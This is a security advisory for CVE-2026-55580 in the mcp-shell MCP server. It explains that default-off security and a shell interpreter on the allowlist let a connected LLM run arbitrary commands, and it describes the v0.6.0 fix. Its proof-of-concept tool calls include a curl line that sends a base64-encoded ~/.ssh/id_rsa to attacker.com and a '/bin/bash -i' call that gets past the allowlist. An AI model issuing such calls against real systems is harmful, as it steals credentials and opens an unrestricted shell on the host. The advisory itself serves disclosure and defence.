highCVE-2026-55580Aug 25, 2026

CVE-2026-55580: mcp-shell OS Command Injection via Security-Disabled Default and Shell Interpreter in Allowlist

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

mcp-shell shipped with security completely disabled by default and included shell interpreters like /bin/bash in its example allowlist, meaning any connected LLM could run arbitrary commands on the…

Packagegithub.com/sonirico/mcp-shell
Ecosystemgo
Affected< 0.6.0
Fixed in0.6.0
CVE-2026-55580: mcp-shell OS Command Injection via Security-Disabled Default and Shell Interpreter in Allowlist

The problem

Before v0.6.0, config.go initialized SecurityConfig with Enabled: false. security.go short-circuited all validation when that flag was off, so every operator who followed the documented from-source install path or the README MCP client config example ran a fully unrestricted shell-execution server.

The official security.yaml shipped with /bin/bash and /usr/bin/python3 in allowed_executables. In secure mode, executor.go parsed the command with strings.Fields() and dispatched it as exec.CommandContext(ctx, executable, args...). Because the executable itself was on the allowlist and the arguments contained no blocked metacharacters, the call passed all validation and handed the LLM a live interpreter session.

Both failure modes together covered the full install surface.

Proof of concept

A working proof-of-concept for CVE-2026-55580 in github.com/sonirico/mcp-shell, with the exact payload below.

json
// Finding 1: security disabled by default (bare binary, no config file)
// Any shell_exec call passes validateCommand() unconditionally.
{"jsonrpc":"2.0","method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"curl -s http://attacker.com/exfil?d=$(cat ~/.ssh/id_rsa | base64)"}}}

// Finding 2: shell interpreter in allowed_executables allowlist (secure mode with default security.yaml)
// /bin/bash is on the allowlist; "-i" contains no blocked metacharacters.
// Parses to: exec.CommandContext(ctx, "/bin/bash", "-i")
// Gives the LLM a direct read/write channel to bash over the MCP stdio transport.
{"jsonrpc":"2.0","method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -i"}}}

Finding 1 is a secure-by-default failure: the zero value of SecurityConfig left Enabled: false, so the entire validation stack was bypassed at the first if-statement in security.go before any allowlist or blocklist logic ran. No malicious input was required; any command passed straight through.

Finding 2 is an interpreter-absorption bypass: secure mode's metacharacter checks in containsDangerousShellConstructs() look at the raw argument string, but when the executable is itself a shell, the dangerous content is hidden inside the interpreter's own execution context, not in the argument tokens the checker sees.

Allowing /bin/bash or /usr/bin/python3 in an executable allowlist is logically equivalent to disabling the allowlist entirely.

The patch (commit f31377f, v0.6.0) flipped the default to Enabled: true with a built-in narrow allowlist of read-only utilities, added an explicit MCP_SHELL_ALLOW_UNSAFE=true opt-in for unrestricted mode, removed shell interpreters from the example config, and added a startup warning when a shell interpreter is detected in allowed_executables.

CWE-78: Improper Neutralization of Special Elements used in an OS Command.

The fix

Upgrade to mcp-shell v0.6.0. The fix flips the default to secure mode on with a narrow read-only allowlist (ls, cat, grep, find, head, tail). Unrestricted execution now requires an explicit MCP_SHELL_ALLOW_UNSAFE=true environment variable. Never add shell or language interpreters (bash, sh, python, perl, ruby, node) to allowed_executables; the interpreter absorbs arbitrary content, bypassing all metacharacter checks.

Reporter not attributed.

References: [1][2][3][4][5]

Related research